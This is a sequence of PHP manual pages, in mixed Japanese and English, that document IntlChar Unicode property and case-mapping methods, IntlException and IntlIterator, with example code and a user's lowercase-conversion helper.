  • ≪ IntlChar::isISOControl
  • IntlChar::isJavaIDStart ≫
  • PHP Manual
  • IntlChar
  • Check if code point is permissible in a Java identifier

IntlChar::isJavaIDPart

(PHP 7)

IntlChar::isJavaIDPart — Check if code point is permissible in a Java identifier

説明

public static IntlChar::isJavaIDPart ( mixed $codepoint ) : bool

Determines if the specified character is permissible in a Java identifier.

In addition to IntlChar::isIDPart(), true for characters with general category "Sc" (currency symbols).

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint may occur in a Java identifier, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::isJavaIDPart("A"));
var_dump(IntlChar::isJavaIDPart("$"));
var_dump(IntlChar::isJavaIDPart("\n"));
var_dump(IntlChar::isJavaIDPart("\u{2603}"));
?>

上の例の出力は以下となります。

bool(true)
bool(true)
bool(false)
bool(false)

参考

  • IntlChar::isIDIgnorable() - Check if code point is an ignorable character
  • IntlChar::isIDPart() - Check if code point is permissible in an identifier
  • IntlChar::isJavaIDStart() - Check if code point is permissible as the first character in a Java identifier
  • IntlChar::isalpha() - Check if code point is a letter character
  • IntlChar::isdigit() - Check if code point is a digit character

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is permissible as the first character in a Java identifier

  • ≪ IntlChar::isJavaIDPart
  • IntlChar::isJavaSpaceChar ≫
  • PHP Manual
  • IntlChar
  • Check if code point is permissible as the first character in a Java identifier

IntlChar::isJavaIDStart

(PHP 7)

IntlChar::isJavaIDStart — Check if code point is permissible as the first character in a Java identifier

説明

public static IntlChar::isJavaIDStart ( mixed $codepoint ) : bool

Determines if the specified character is permissible as the start of a Java identifier.

In addition to IntlChar::isIDStart(), true for characters with general categories "Sc" (currency symbols) and "Pc" (connecting punctuation).

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint may start a Java identifier, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::isJavaIDStart("A"));
var_dump(IntlChar::isJavaIDStart("$"));
var_dump(IntlChar::isJavaIDStart("\n"));
var_dump(IntlChar::isJavaIDStart("\u{2603}"));
?>

上の例の出力は以下となります。

bool(true)
bool(true)
bool(false)
bool(false)

参考

  • IntlChar::isIDStart() - Check if code point is permissible as the first character in an identifier
  • IntlChar::isJavaIDPart() - Check if code point is permissible in a Java identifier
  • IntlChar::isalpha() - Check if code point is a letter character

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a space character according to Java

  • ≪ IntlChar::isJavaIDStart
  • IntlChar::islower ≫
  • PHP Manual
  • IntlChar
  • Check if code point is a space character according to Java

IntlChar::isJavaSpaceChar

(PHP 7)

IntlChar::isJavaSpaceChar — Check if code point is a space character according to Java

説明

public static IntlChar::isJavaSpaceChar ( mixed $codepoint ) : bool

Determine if the specified code point is a space character according to Java.

true for characters with general categories "Z" (separators), which does not include control codes (e.g., TAB or Line Feed).

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint is a space character according to Java, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::isJavaSpaceChar("A"));
var_dump(IntlChar::isJavaSpaceChar(" "));
var_dump(IntlChar::isJavaSpaceChar("\n"));
var_dump(IntlChar::isJavaSpaceChar("\t"));
var_dump(IntlChar::isJavaSpaceChar("\u{00A0}"));
?>

上の例の出力は以下となります。

bool(false)
bool(true)
bool(false)
bool(false)
bool(true)

参考

  • IntlChar::isspace() - Check if code point is a space character
  • IntlChar::isWhitespace() - Check if code point is a whitespace character according to ICU
  • IntlChar::isUWhiteSpace() - Check if code point has the White_Space Unicode property

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a lowercase letter

  • ≪ IntlChar::isJavaSpaceChar
  • IntlChar::isMirrored ≫
  • PHP Manual
  • IntlChar
  • Check if code point is a lowercase letter

IntlChar::islower

(PHP 7)

IntlChar::islower — Check if code point is a lowercase letter

説明

public static IntlChar::islower ( mixed $codepoint ) : bool

Determines whether the specified code point has the general category "Ll" (lowercase letter).

注意:

This misses some characters that are also lowercase but have a different general category value. In order to include those, use IntlChar::isULowercase().

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint is an Ll lowercase letter, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::islower("A"));
var_dump(IntlChar::islower("a"));
var_dump(IntlChar::islower("Φ"));
var_dump(IntlChar::islower("φ"));
var_dump(IntlChar::islower("1"));
?>

上の例の出力は以下となります。

bool(false)
bool(true)
bool(false)
bool(true)
bool(false)

参考

  • IntlChar::isupper() - Check if code point has the general category "Lu" (uppercase letter)
  • IntlChar::istitle() - Check if code point is a titlecase letter
  • IntlChar::tolower() - Make Unicode character lowercase
  • IntlChar::toupper() - Make Unicode character uppercase
  • IntlChar::PROPERTY_LOWERCASE

User Contributed Notes

There are no user contributed notes for this page.


Check if code point has the Bidi_Mirrored property

  • ≪ IntlChar::islower
  • IntlChar::isprint ≫
  • PHP Manual
  • IntlChar
  • Check if code point has the Bidi_Mirrored property

IntlChar::isMirrored

(PHP 7)

IntlChar::isMirrored — Check if code point has the Bidi_Mirrored property

説明

public static IntlChar::isMirrored ( mixed $codepoint ) : bool

Determines whether the code point has the Bidi_Mirrored property.

This property is set for characters that are commonly used in Right-To-Left contexts and need to be displayed with a "mirrored" glyph.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint has the Bidi_Mirrored property, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::isMirrored("A"));
var_dump(IntlChar::isMirrored("<"));
var_dump(IntlChar::isMirrored("("));
?>

上の例の出力は以下となります。

bool(false)
bool(true)
bool(true)

参考

  • IntlChar::charMirror() - Get the "mirror-image" character for a code point
  • IntlChar::PROPERTY_BIDI_MIRRORED

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a printable character

  • ≪ IntlChar::isMirrored
  • IntlChar::ispunct ≫
  • PHP Manual
  • IntlChar
  • Check if code point is a printable character

IntlChar::isprint

(PHP 7)

IntlChar::isprint — Check if code point is a printable character

説明

public static IntlChar::isprint ( mixed $codepoint ) : bool

Determines whether the specified code point is a printable character.

true for general categories other than "C" (controls).

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint is a printable character, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::isprint("A"));
var_dump(IntlChar::isprint(" "));
var_dump(IntlChar::isprint("\n"));
var_dump(IntlChar::isprint("\u{200e}"));
?>

上の例の出力は以下となります。

bool(true)
bool(true)
bool(false)
bool(false)

参考

  • IntlChar::iscntrl() - Check if code point is a control character
  • IntlChar::PROPERTY_DEFAULT_IGNORABLE_CODE_POINT

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is punctuation character

  • ≪ IntlChar::isprint
  • IntlChar::isspace ≫
  • PHP Manual
  • IntlChar
  • Check if code point is punctuation character

IntlChar::ispunct

(PHP 7)

IntlChar::ispunct — Check if code point is punctuation character

説明

public static IntlChar::ispunct ( mixed $codepoint ) : bool

Determines whether the specified code point is a punctuation character.

true for characters with general categories "P" (punctuation).

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint is a punctuation character, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::ispunct("."));
var_dump(IntlChar::ispunct(","));
var_dump(IntlChar::ispunct("\n"));
var_dump(IntlChar::ispunct("$"));

上の例の出力は以下となります。

bool(true)
bool(true)
bool(false)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a space character

  • ≪ IntlChar::ispunct
  • IntlChar::istitle ≫
  • PHP Manual
  • IntlChar
  • Check if code point is a space character

IntlChar::isspace

(PHP 7)

IntlChar::isspace — Check if code point is a space character

説明

public static IntlChar::isspace ( mixed $codepoint ) : bool

Determines if the specified character is a space character or not.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint is a space character, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::isspace("A"));
var_dump(IntlChar::isspace(" "));
var_dump(IntlChar::isspace("\n"));
var_dump(IntlChar::isspace("\t"));
var_dump(IntlChar::isspace("\u{00A0}"));
?>

上の例の出力は以下となります。

bool(false)
bool(true)
bool(true)
bool(true)
bool(true)

参考

  • IntlChar::isJavaSpaceChar() - Check if code point is a space character according to Java
  • IntlChar::isWhitespace() - Check if code point is a whitespace character according to ICU
  • IntlChar::isUWhiteSpace() - Check if code point has the White_Space Unicode property

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a titlecase letter

  • ≪ IntlChar::isspace
  • IntlChar::isUAlphabetic ≫
  • PHP Manual
  • IntlChar
  • Check if code point is a titlecase letter

IntlChar::istitle

(PHP 7)

IntlChar::istitle — Check if code point is a titlecase letter

説明

public static IntlChar::istitle ( mixed $codepoint ) : bool

Determines whether the specified code point is a titlecase letter.

true for general category "Lt" (titlecase letter).

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint is a titlecase letter, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::istitle("A"));
var_dump(IntlChar::istitle("a"));
var_dump(IntlChar::istitle("Φ"));
var_dump(IntlChar::istitle("φ"));
var_dump(IntlChar::istitle("1"));
?>

上の例の出力は以下となります。

bool(false)
bool(true)
bool(false)
bool(true)
bool(false)

参考

  • IntlChar::isupper() - Check if code point has the general category "Lu" (uppercase letter)
  • IntlChar::islower() - Check if code point is a lowercase letter
  • IntlChar::totitle() - Make Unicode character titlecase

User Contributed Notes

There are no user contributed notes for this page.


Check if code point has the Alphabetic Unicode property

  • ≪ IntlChar::istitle
  • IntlChar::isULowercase ≫
  • PHP Manual
  • IntlChar
  • Check if code point has the Alphabetic Unicode property

IntlChar::isUAlphabetic

(PHP 7)

IntlChar::isUAlphabetic — Check if code point has the Alphabetic Unicode property

説明

public static IntlChar::isUAlphabetic ( mixed $codepoint ) : bool

Check if a code point has the Alphabetic Unicode property.

This is the same as IntlChar::hasBinaryProperty($codepoint, IntlChar::PROPERTY_ALPHABETIC)

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint has the Alphabetic Unicode property, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::isUAlphabetic("A"));
var_dump(IntlChar::isUAlphabetic("1"));
var_dump(IntlChar::isUAlphabetic("\u{2603}"));
?>

上の例の出力は以下となります。

bool(true)
bool(false)
bool(false)

参考

  • IntlChar::isalpha() - Check if code point is a letter character
  • IntlChar::hasBinaryProperty() - Check a binary Unicode property for a code point
  • IntlChar::PROPERTY_ALPHABETIC

User Contributed Notes

There are no user contributed notes for this page.


Check if code point has the Lowercase Unicode property

  • ≪ IntlChar::isUAlphabetic
  • IntlChar::isupper ≫
  • PHP Manual
  • IntlChar
  • Check if code point has the Lowercase Unicode property

IntlChar::isULowercase

(PHP 7)

IntlChar::isULowercase — Check if code point has the Lowercase Unicode property

説明

public static IntlChar::isULowercase ( mixed $codepoint ) : bool

Check if a code point has the Lowercase Unicode property.

This is the same as IntlChar::hasBinaryProperty($codepoint, IntlChar::PROPERTY_LOWERCASE)

注意:

This is different than IntlChar::islower() and will return true for more characters.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint has the Lowercase Unicode property, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::isULowercase("A"));
var_dump(IntlChar::isULowercase("a"));
var_dump(IntlChar::isULowercase("Φ"));
var_dump(IntlChar::isULowercase("φ"));
var_dump(IntlChar::isULowercase("1"));
?>

上の例の出力は以下となります。

bool(false)
bool(true)
bool(false)
bool(true)
bool(false)

参考

  • IntlChar::islower() - Check if code point is a lowercase letter
  • IntlChar::hasBinaryProperty() - Check a binary Unicode property for a code point
  • IntlChar::PROPERTY_LOWERCASE

User Contributed Notes

There are no user contributed notes for this page.


Check if code point has the general category "Lu" (uppercase letter)

  • ≪ IntlChar::isULowercase
  • IntlChar::isUUppercase ≫
  • PHP Manual
  • IntlChar
  • Check if code point has the general category "Lu" (uppercase letter)

IntlChar::isupper

(PHP 7)

IntlChar::isupper — Check if code point has the general category "Lu" (uppercase letter)

説明

public static IntlChar::isupper ( mixed $codepoint ) : bool

Determines whether the specified code point has the general category "Lu" (uppercase letter).

注意:

This misses some characters that are also uppercase but have a different general category value. In order to include those, use IntlChar::isUUppercase().

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint is an Lu uppercase letter, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::isupper("A"));
var_dump(IntlChar::isupper("a"));
var_dump(IntlChar::isupper("Φ"));
var_dump(IntlChar::isupper("φ"));
var_dump(IntlChar::isupper("1"));
?>

上の例の出力は以下となります。

bool(true)
bool(false)
bool(true)
bool(false)
bool(false)

参考

  • IntlChar::islower() - Check if code point is a lowercase letter
  • IntlChar::istitle() - Check if code point is a titlecase letter
  • IntlChar::tolower() - Make Unicode character lowercase
  • IntlChar::toupper() - Make Unicode character uppercase
  • IntlChar::PROPERTY_UPPERCASE

User Contributed Notes

There are no user contributed notes for this page.


Check if code point has the Uppercase Unicode property

  • ≪ IntlChar::isupper
  • IntlChar::isUWhiteSpace ≫
  • PHP Manual
  • IntlChar
  • Check if code point has the Uppercase Unicode property

IntlChar::isUUppercase

(PHP 7)

IntlChar::isUUppercase — Check if code point has the Uppercase Unicode property

説明

public static IntlChar::isUUppercase ( mixed $codepoint ) : bool

Check if a code point has the Uppercase Unicode property.

This is the same as IntlChar::hasBinaryProperty($codepoint, IntlChar::PROPERTY_UPPERCASE)

注意:

This is different than IntlChar::isupper() and will return true for more characters.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint has the Uppercase Unicode property, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::isUUppercase("A"));
var_dump(IntlChar::isUUppercase("a"));
var_dump(IntlChar::isUUppercase("Φ"));
var_dump(IntlChar::isUUppercase("φ"));
var_dump(IntlChar::isUUppercase("1"));
?>

上の例の出力は以下となります。

bool(true)
bool(false)
bool(true)
bool(false)
bool(false)

参考

  • IntlChar::isupper() - Check if code point has the general category "Lu" (uppercase letter)
  • IntlChar::hasBinaryProperty() - Check a binary Unicode property for a code point
  • IntlChar::PROPERTY_UPPERCASE

User Contributed Notes

There are no user contributed notes for this page.


Check if code point has the White_Space Unicode property

  • ≪ IntlChar::isUUppercase
  • IntlChar::isWhitespace ≫
  • PHP Manual
  • IntlChar
  • Check if code point has the White_Space Unicode property

IntlChar::isUWhiteSpace

(PHP 7)

IntlChar::isUWhiteSpace — Check if code point has the White_Space Unicode property

説明

public static IntlChar::isUWhiteSpace ( mixed $codepoint ) : bool

Check if a code point has the White_Space Unicode property.

This is the same as IntlChar::hasBinaryProperty($codepoint, IntlChar::PROPERTY_WHITE_SPACE)

注意:

This is different from both IntlChar::isspace() and IntlChar::isWhitespace().

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint has the White_Space Unicode property, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::isUWhiteSpace("A"));
var_dump(IntlChar::isUWhiteSpace(" "));
var_dump(IntlChar::isUWhiteSpace("\n"));
var_dump(IntlChar::isUWhiteSpace("\t"));
var_dump(IntlChar::isUWhiteSpace("\u{00A0}"));
?>

上の例の出力は以下となります。

bool(false)
bool(true)
bool(true)
bool(true)
bool(true)

参考

  • IntlChar::isspace() - Check if code point is a space character
  • IntlChar::isWhitespace() - Check if code point is a whitespace character according to ICU
  • IntlChar::isJavaSpaceChar() - Check if code point is a space character according to Java
  • IntlChar::hasBinaryProperty() - Check a binary Unicode property for a code point
  • IntlChar::PROPERTY_WHITE_SPACE

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a whitespace character according to ICU

  • ≪ IntlChar::isUWhiteSpace
  • IntlChar::isxdigit ≫
  • PHP Manual
  • IntlChar
  • Check if code point is a whitespace character according to ICU

IntlChar::isWhitespace

(PHP 7)

IntlChar::isWhitespace — Check if code point is a whitespace character according to ICU

説明

public static IntlChar::isWhitespace ( mixed $codepoint ) : bool

Determines if the specified code point is a whitespace character according to ICU.

A character is considered to be a ICU whitespace character if and only if it satisfies one of the following criteria:

  • It is a Unicode Separator character (categories "Z" = "Zs" or "Zl" or "Zp"), but is not also a non-breaking space (U+00A0 NBSP or U+2007 Figure Space or U+202F Narrow NBSP).
  • It is U+0009 HORIZONTAL TABULATION.
  • It is U+000A LINE FEED.
  • It is U+000B VERTICAL TABULATION.
  • It is U+000C FORM FEED.
  • It is U+000D CARRIAGE RETURN.
  • It is U+001C FILE SEPARATOR.
  • It is U+001D GROUP SEPARATOR.
  • It is U+001E RECORD SEPARATOR.
  • It is U+001F UNIT SEPARATOR.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint is a whitespace character according to ICU, false if not.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::iswhitespace("A"));
var_dump(IntlChar::iswhitespace(" "));
var_dump(IntlChar::iswhitespace("\n"));
var_dump(IntlChar::iswhitespace("\t"));
var_dump(IntlChar::iswhitespace("\u{00A0}"));
?>

上の例の出力は以下となります。

bool(false)
bool(true)
bool(true)
bool(true)
bool(false)

参考

  • IntlChar::isspace() - Check if code point is a space character
  • IntlChar::isJavaSpaceChar() - Check if code point is a space character according to Java
  • IntlChar::isUWhiteSpace() - Check if code point has the White_Space Unicode property

User Contributed Notes

There are no user contributed notes for this page.


Check if code point is a hexadecimal digit

  • ≪ IntlChar::isWhitespace
  • IntlChar::ord ≫
  • PHP Manual
  • IntlChar
  • Check if code point is a hexadecimal digit

IntlChar::isxdigit

(PHP 7)

IntlChar::isxdigit — Check if code point is a hexadecimal digit

説明

public static IntlChar::isxdigit ( mixed $codepoint ) : bool

Determines whether the specified code point is a hexadecimal digit.

true for characters with general category "Nd" (decimal digit numbers) as well as Latin letters a-f and A-F in both ASCII and Fullwidth ASCII. (That is, for letters with code points 0041..0046, 0061..0066, FF21..FF26, FF41..FF46.)

This is equivalent to IntlChar::digit($codepoint, 16) >= 0.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns true if codepoint is a hexadecimal character, false if not.

注意

注意:

In order to narrow the definition of hexadecimal digits to only ASCII characters use:

<?php
$isASCIIHexadecimal = IntlChar::ord($codepoint) <= 0x7F && IntlChar::isxdigit($codepoint);
?>

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::isxdigit("A"));
var_dump(IntlChar::isxdigit("1"));
var_dump(IntlChar::isxdigit("\u{2603}"));
?>

上の例の出力は以下となります。

bool(true)
bool(true)
bool(false)

参考

  • IntlChar::isdigit() - Check if code point is a digit character

User Contributed Notes

There are no user contributed notes for this page.


Return Unicode code point value of character

  • ≪ IntlChar::isxdigit
  • IntlChar::tolower ≫
  • PHP Manual
  • IntlChar
  • Return Unicode code point value of character

IntlChar::ord

(PHP 7)

IntlChar::ord — Return Unicode code point value of character

説明

public static IntlChar::ord ( mixed $character ) : int

Returns the Unicode code point value of the given character.

This function compliments IntlChar::chr().

パラメータ

character

A Unicode character.

返り値

Returns the Unicode code point value as an integer.

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::ord("A"));
var_dump(IntlChar::ord(" "));
var_dump(IntlChar::ord("\u{2603}"));
?>

上の例の出力は以下となります。

int(65)
int(32)
int(9731)

参考

  • IntlChar::isalnum() - Check if code point is an alphanumeric character
  • IntlChar::isdigit() - Check if code point is a digit character
  • IntlChar::chr() - Return Unicode character by code point value
  • ord() - 文字列の先頭バイトを、0 から 255 までの値に変換する

User Contributed Notes

There are no user contributed notes for this page.


Make Unicode character lowercase

  • ≪ IntlChar::ord
  • IntlChar::totitle ≫
  • PHP Manual
  • IntlChar
  • Make Unicode character lowercase

IntlChar::tolower

(PHP 7)

IntlChar::tolower — Make Unicode character lowercase

説明

public static IntlChar::tolower ( mixed $codepoint ) : mixed

The given character is mapped to its lowercase equivalent. If the character has no lowercase equivalent, the original character itself is returned.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns the Simple_Lowercase_Mapping of the code point, if any; otherwise the code point itself.

戻り値の型は int になります。ただし、コードポイントを UTF-8 文字列で渡した場合は別で、その場合の返り値の型は文字列になります。

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::tolower("A"));
var_dump(IntlChar::tolower("a"));
var_dump(IntlChar::tolower("Φ"));
var_dump(IntlChar::tolower("φ"));
var_dump(IntlChar::tolower("1"));
var_dump(IntlChar::tolower(ord("A")));
var_dump(IntlChar::tolower(ord("a")));
?>

上の例の出力は以下となります。

string(1) "a"
string(1) "a"
string(2) "φ"
string(2) "φ"
string(1) "1"
int(97)
int(97)

参考

  • IntlChar::totitle() - Make Unicode character titlecase
  • IntlChar::toupper() - Make Unicode character uppercase
  • mb_strtolower() - 文字列を小文字にする

User Contributed Notes

Patanjali 15-May-2020 11:00
The other function I wrote to replace mb_strtolower may not work properly, as it erroneously equated graphemes with codepoints.

tolower, like many IntlChar methods, works specifically on codepoints, so requires a codepoint iterator to isolate each.

Also, because in tolower, if there is no lowercase version of the codepoint, the supplied one is returned, so there is no need to specially test for alphabetic codepoints before conversion.

<?php
function u_tolower($text=''){
// if blank, return blank (don't waste CPU cycles)
if($text==''){return'';}

// create the codepoint break iterator to identify the start of each codepoint
$iterator=IntlBreakIterator::createCodePointInstance();

// load the text
$iterator->setText($text);

// using a parts iterator to extract each codepoint itself, convert and append it to the new string
$newtext='';
foreach($iterator->getPartsIterator() as $codepoint){$newtext.=IntlChar::tolower($codepoint);}

// return converted text
return $newtext;
}
?>
Patanjali 28-Jan-2020 11:25
A function to convert a Unicode string to lowercase, directly replacing mb_strtolower, by converting one grapheme at a time:

<?php
function u_tolower($text=''){
 // if blank, return blank (don't waste CPU cycles)
 if($text==''){return '';}

 // for each grapheme
 $str='';
 for($i=0;$i<grapheme_strlen($text);$i++){
  // add to string if alpha, else as is
  $char=grapheme_substr($text,$i,1);
  $str.=(IntlChar::isalnum($char)?IntlChar::tolower($char):$char);
 }

 // return converted text
 return $str;
}
?>


Make Unicode character titlecase

  • ≪ IntlChar::tolower
  • IntlChar::toupper ≫
  • PHP Manual
  • IntlChar
  • Make Unicode character titlecase

IntlChar::totitle

(PHP 7)

IntlChar::totitle — Make Unicode character titlecase

説明

public static IntlChar::totitle ( mixed $codepoint ) : mixed

The given character is mapped to its titlecase equivalent. If the character has no titlecase equivalent, the original character itself is returned.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns the Simple_Titlecase_Mapping of the code point, if any; otherwise the code point itself.

戻り値の型は int になります。ただし、コードポイントを UTF-8 文字列で渡した場合は別で、その場合の返り値の型は文字列になります。

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::totitle("A"));
var_dump(IntlChar::totitle("a"));
var_dump(IntlChar::totitle("Φ"));
var_dump(IntlChar::totitle("φ"));
var_dump(IntlChar::totitle("1"));
var_dump(IntlChar::totitle(ord("A")));
var_dump(IntlChar::totitle(ord("a")));
?>

上の例の出力は以下となります。

string(1) "A"
string(1) "A"
string(2) "Φ"
string(2) "Φ"
string(1) "1"
int(65)
int(65)

参考

  • IntlChar::tolower() - Make Unicode character lowercase
  • IntlChar::toupper() - Make Unicode character uppercase
  • mb_convert_case() - 文字列に対してケースフォールディングを行う

User Contributed Notes

There are no user contributed notes for this page.


Make Unicode character uppercase

  • ≪ IntlChar::totitle
  • IntlException ≫
  • PHP Manual
  • IntlChar
  • Make Unicode character uppercase

IntlChar::toupper

(PHP 7)

IntlChar::toupper — Make Unicode character uppercase

説明

public static IntlChar::toupper ( mixed $codepoint ) : mixed

The given character is mapped to its uppercase equivalent. If the character has no uppercase equivalent, the character itself is returned.

パラメータ

codepoint

コードポイントを表す int 型の値 (例: U+2603 SNOWMAN を表す 0x2603)、あるいは UTF-8 文字列としてエンコードされた文字 (例: "\u{2603}")。

返り値

Returns the Simple_Uppercase_Mapping of the code point, if any; otherwise the code point itself.

戻り値の型は int になります。ただし、コードポイントを UTF-8 文字列で渡した場合は別で、その場合の返り値の型は文字列になります。

例

例1 さまざまなコードポイントの例

<?php
var_dump(IntlChar::toupper("A"));
var_dump(IntlChar::toupper("a"));
var_dump(IntlChar::toupper("Φ"));
var_dump(IntlChar::toupper("φ"));
var_dump(IntlChar::toupper("1"));
var_dump(IntlChar::toupper(ord("A")));
var_dump(IntlChar::toupper(ord("a")));
?>

上の例の出力は以下となります。

string(1) "A"
string(1) "A"
string(2) "Φ"
string(2) "Φ"
string(1) "1"
int(65)
int(65)

参考

  • IntlChar::tolower() - Make Unicode character lowercase
  • IntlChar::totitle() - Make Unicode character titlecase
  • mb_strtoupper() - 文字列を大文字にする

User Contributed Notes

There are no user contributed notes for this page.


intl のエラー用の例外クラス

(PHP 5 > 5.5.0, PHP 7, PECL intl > 3.0.0a1)

はじめに

このクラスは、intl 関数の内部でエラーが発生したときに例外を生成するために使います。 例外が生成されるのは、intl.use_exceptions が有効な場合だけです。

クラス概要

IntlException extends Exception {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


The IntlIterator class

(PHP 5 >= 5.5.0, PHP 7)

はじめに

This class represents iterator objects throughout the intl extension whenever the iterator cannot be identified with any other object provided by the extension. The distinct iterator object used internally by the foreach construct can only be obtained (in the relevant part here) from objects, so objects of this class serve the purpose of providing the hook through which this internal object can be obtained. As a convenience, this class also implements the Iterator interface, allowing the collection of values to be navigated using the methods defined in that interface. Both these methods and the internal iterator objects provided to foreach are backed by the same state (e.g. the position of the iterator and its current value).

Subclasses may provide richer functionality.

クラス概要

IntlIterator implements Iterator {
/* メソッド */
public current ( ) : mixed
public key ( ) : string
public next ( ) : void
public rewind ( ) : void
public valid ( ) : bool
}

目次

  • IntlIterator::current — Get the current element
  • IntlIterator::key — Get the current key
  • IntlIterator::next — Move forward to the next element
  • IntlIterator::rewind — Rewind the iterator to the first element
  • IntlIterator::valid — Check if current position is valid

User Contributed Notes

There are no user contributed notes for this page.


Get the current element

  • ≪ IntlIterator
  • IntlIterator::key ≫
  • PHP Manual
  • IntlIterator
  • Get the current element

IntlIterator::current

(PHP 5 >= 5.5.0, PHP 7)

IntlIterator::current — Get the current element

説明

public IntlIterator::current ( ) : mixed

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get the current key

  • ≪ IntlIterator::current
  • IntlIterator::next ≫
  • PHP Manual
  • IntlIterator
  • Get the current key

IntlIterator::key

(PHP 5 >= 5.5.0, PHP 7)

IntlIterator::key — Get the current key

説明

public IntlIterator::key ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Move forward to the next element

  • ≪ IntlIterator::key
  • IntlIterator::rewind ≫
  • PHP Manual
  • IntlIterator
  • Move forward to the next element

IntlIterator::next

(PHP 5 >= 5.5.0, PHP 7)

IntlIterator::next — Move forward to the next element

